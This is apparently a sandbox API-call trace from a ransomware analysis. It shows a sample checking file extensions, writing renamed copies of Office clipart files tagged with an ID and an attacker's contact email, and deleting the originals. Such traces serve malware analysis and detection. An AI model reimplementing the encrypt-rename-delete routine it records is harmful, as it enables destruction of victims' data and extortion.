lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.178] lstrlenW (lpString=".bz2") returned 4 [0076.178] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.178] lstrlenW (lpString=".7z") returned 3 [0076.178] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0076.178] lstrlenW (lpString=".dbf") returned 4 [0076.179] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0076.179] lstrlenW (lpString=".1cd") returned 4 [0076.179] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0076.179] lstrlenW (lpString=".jpg") returned 4 [0076.179] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.180] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.180] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0076.181] GetLastError () returned 0x0 [0076.181] ReadFile (in: hFile=0x348, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x34e2, lpOverlapped=0x0) returned 1 [0076.182] WriteFile (in: hFile=0x39c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x34f0, lpOverlapped=0x0) returned 1 [0076.184] ReadFile (in: hFile=0x348, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.184] WriteFile (in: hFile=0x39c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.184] SetEndOfFile (hFile=0x39c) returned 1 [0076.184] CloseHandle (hObject=0x39c) returned 1 [0076.184] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.184] SetEndOfFile (hFile=0x348) returned 1 [0076.185] CloseHandle (hObject=0x348) returned 1 [0076.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0076.185] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 1 [0076.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0076.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0076.186] lstrlenW (lpString=".doc") returned 4 [0076.186] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.186] lstrlenW (lpString=".docx") returned 5 [0076.186] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.186] lstrlenW (lpString=".pdf") returned 4 [0076.186] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.186] lstrlenW (lpString=".xls") returned 4 [0076.186] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.186] lstrlenW (lpString=".xlsx") returned 5 [0076.186] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.186] lstrlenW (lpString=".ppt") returned 4 [0076.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0076.187] lstrlenW (lpString=".zip") returned 4 [0076.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.187] lstrlenW (lpString=".rar") returned 4 [0076.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.187] lstrlenW (lpString=".bz2") returned 4 [0076.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.187] lstrlenW (lpString=".7z") returned 3 [0076.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0076.187] lstrlenW (lpString=".dbf") returned 4 [0076.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0076.187] lstrlenW (lpString=".1cd") returned 4 [0076.187] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0076.187] lstrlenW (lpString=".jpg") returned 4 [0076.187] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.188] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.188] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0076.188] GetLastError () returned 0x0 [0076.189] ReadFile (in: hFile=0x348, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x16a6, lpOverlapped=0x0) returned 1 [0076.192] WriteFile (in: hFile=0x39c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x16b0, lpOverlapped=0x0) returned 1 [0076.193] ReadFile (in: hFile=0x348, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.193] WriteFile (in: hFile=0x39c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.193] SetEndOfFile (hFile=0x39c) returned 1 [0076.193] CloseHandle (hObject=0x39c) returned 1 [0076.193] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.193] SetEndOfFile (hFile=0x348) returned 1 [0076.194] CloseHandle (hObject=0x348) returned 1 [0076.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0076.195] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 1 [0076.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0076.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0076.195] lstrlenW (lpString=".doc") returned 4 [0076.195] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.195] lstrlenW (lpString=".docx") returned 5 [0076.195] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.195] lstrlenW (lpString=".pdf") returned 4 [0076.195] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.195] lstrlenW (lpString=".xls") returned 4 [0076.196] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.196] lstrlenW (lpString=".xlsx") returned 5 [0076.196] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.196] lstrlenW (lpString=".ppt") returned 4 [0076.196] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0076.196] lstrlenW (lpString=".zip") returned 4 [0076.196] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.196] lstrlenW (lpString=".rar") returned 4 [0076.196] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.196] lstrlenW (lpString=".bz2") returned 4 [0076.196] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.196] lstrlenW (lpString=".7z") returned 3 [0076.196] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0076.196] lstrlenW (lpString=".dbf") returned 4 [0076.196] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0076.196] lstrlenW (lpString=".1cd") returned 4 [0076.196] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0076.196] lstrlenW (lpString=".jpg") returned 4 [0076.196] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.197] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.197] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0076.198] GetLastError () returned 0x0 [0076.198] ReadFile (in: hFile=0x348, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xe86, lpOverlapped=0x0) returned 1 [0076.200] WriteFile (in: hFile=0x39c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xe90, lpOverlapped=0x0) returned 1 [0076.201] ReadFile (in: hFile=0x348, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.201] WriteFile (in: hFile=0x39c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.201] SetEndOfFile (hFile=0x39c) returned 1 [0076.201] CloseHandle (hObject=0x39c) returned 1 [0076.201] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.201] SetEndOfFile (hFile=0x348) returned 1 [0076.202] CloseHandle (hObject=0x348) returned 1 [0076.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0076.203] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 1 [0076.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0076.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0076.204] lstrlenW (lpString=".doc") returned 4 [0076.204] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.204] lstrlenW (lpString=".docx") returned 5 [0076.204] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.204] lstrlenW (lpString=".pdf") returned 4 [0076.204] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.204] lstrlenW (lpString=".xls") returned 4 [0076.204] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.205] lstrlenW (lpString=".xlsx") returned 5 [0076.205] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.205] lstrlenW (lpString=".ppt") returned 4 [0076.205] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0076.205] lstrlenW (lpString=".zip") returned 4 [0076.205] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.205] lstrlenW (lpString=".rar") returned 4 [0076.205] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.205] lstrlenW (lpString=".bz2") returned 4 [0076.205] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.205] lstrlenW (lpString=".7z") returned 3 [0076.205] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0076.205] lstrlenW (lpString=".dbf") returned 4 [0076.205] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0076.205] lstrlenW (lpString=".1cd") returned 4 [0076.205] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0076.205] lstrlenW (lpString=".jpg") returned 4 [0076.206] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.206] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.206] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0076.207] GetLastError () returned 0x0 [0076.208] ReadFile (in: hFile=0x348, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x5bc, lpOverlapped=0x0) returned 1 [0076.725] WriteFile (in: hFile=0x39c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x5c0, lpOverlapped=0x0) returned 1 [0076.726] ReadFile (in: hFile=0x348, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.726] WriteFile (in: hFile=0x39c, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.727] SetEndOfFile (hFile=0x39c) returned 1 [0076.727] CloseHandle (hObject=0x39c) returned 1 [0076.727] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.727] SetEndOfFile (hFile=0x348) returned 1 [0076.728] CloseHandle (hObject=0x348) returned 1 [0076.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0076.728] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 1 [0076.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0076.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0076.908] lstrlenW (lpString=".doc") returned 4 [0076.908] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.908] lstrlenW (lpString=".docx") returned 5 [0076.908] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.908] lstrlenW (lpString=".pdf") returned 4 [0076.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.908] lstrlenW (lpString=".xls") returned 4 [0076.908] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.908] lstrlenW (lpString=".xlsx") returned 5 [0076.908] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.908] lstrlenW (lpString=".ppt") returned 4 [0076.908] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0076.908] lstrlenW (lpString=".zip") returned 4 [0076.908] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.908] lstrlenW (lpString=".rar") returned 4 [0076.908] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.908] lstrlenW (lpString=".bz2") returned 4 [0076.908] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.908] lstrlenW (lpString=".7z") returned 3 [0076.908] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0076.908] lstrlenW (lpString=".dbf") returned 4 [0076.909] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0076.909] lstrlenW (lpString=".1cd") returned 4 [0076.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0076.909] lstrlenW (lpString=".jpg") returned 4 [0076.909] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.126] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.144] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0077.145] GetLastError () returned 0x0 [0077.145] ReadFile (in: hFile=0x314, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x47c, lpOverlapped=0x0) returned 1 [0077.147] WriteFile (in: hFile=0x2f0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x480, lpOverlapped=0x0) returned 1 [0077.148] ReadFile (in: hFile=0x314, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.148] WriteFile (in: hFile=0x2f0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.148] SetEndOfFile (hFile=0x2f0) returned 1 [0077.148] CloseHandle (hObject=0x2f0) returned 1 [0077.148] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.148] SetEndOfFile (hFile=0x314) returned 1 [0077.149] CloseHandle (hObject=0x314) returned 1 [0077.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.150] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 1 [0077.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0077.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0077.150] lstrlenW (lpString=".doc") returned 4 [0077.150] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.150] lstrlenW (lpString=".docx") returned 5 [0077.150] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.150] lstrlenW (lpString=".pdf") returned 4 [0077.151] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.151] lstrlenW (lpString=".xls") returned 4 [0077.151] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.151] lstrlenW (lpString=".xlsx") returned 5 [0077.151] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.151] lstrlenW (lpString=".ppt") returned 4 [0077.151] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0077.151] lstrlenW (lpString=".zip") returned 4 [0077.151] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.151] lstrlenW (lpString=".rar") returned 4 [0077.151] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.151] lstrlenW (lpString=".bz2") returned 4 [0077.151] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.151] lstrlenW (lpString=".7z") returned 3 [0077.151] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0077.151] lstrlenW (lpString=".dbf") returned 4 [0077.151] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0077.151] lstrlenW (lpString=".1cd") returned 4 [0077.151] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0077.151] lstrlenW (lpString=".jpg") returned 4 [0077.151] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.152] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.152] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0077.153] GetLastError () returned 0x0 [0077.153] ReadFile (in: hFile=0x314, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x1780, lpOverlapped=0x0) returned 1 [0077.155] WriteFile (in: hFile=0x2f0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x1790, lpOverlapped=0x0) 